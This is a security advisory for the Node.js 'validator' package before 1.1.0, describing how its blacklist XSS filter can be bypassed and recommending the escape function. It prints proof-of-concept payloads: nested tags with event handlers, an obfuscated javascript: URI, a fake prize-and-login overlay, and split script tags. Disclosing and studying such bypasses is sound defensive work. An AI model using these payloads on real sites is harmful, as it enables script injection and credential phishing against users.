GHSA-q4qq-fm7q-cwp5

ghsaUSosv

Multiple XSS Filter Bypasses in validator

view advisory published 2017-10-24Licence: CC-BY-4.0

Versions of `validator` prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter. ## Proof of Concept Various inputs that could bypass the filter were discovered: Improper parsing of nested tags: ``` <s <onmouseover="alert(1)"> <;s onmouseover="alert(1)">This is a test</s> ``` Incomplete filtering of javascript: URIs: ``` <a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a> ``` UI Redressing: ``` <div style="z-index: 9999999; background-color: green; width: 100%; height: 100%"> <h1>You have won</h1>Please click the link and enter your login details: <a href="http://example.com/">http://good.com</a> </div> ``` Bypass via Nested Forbidden Strings: ``` <scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt> ``` Additional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of. ## Recommendation If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2013-7454USmedium6.1—
The validator module before 1.1.0 for Node.js allows remote attackers to bypass the cross-site scripting (XSS) filter via nested forbidden strings.
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan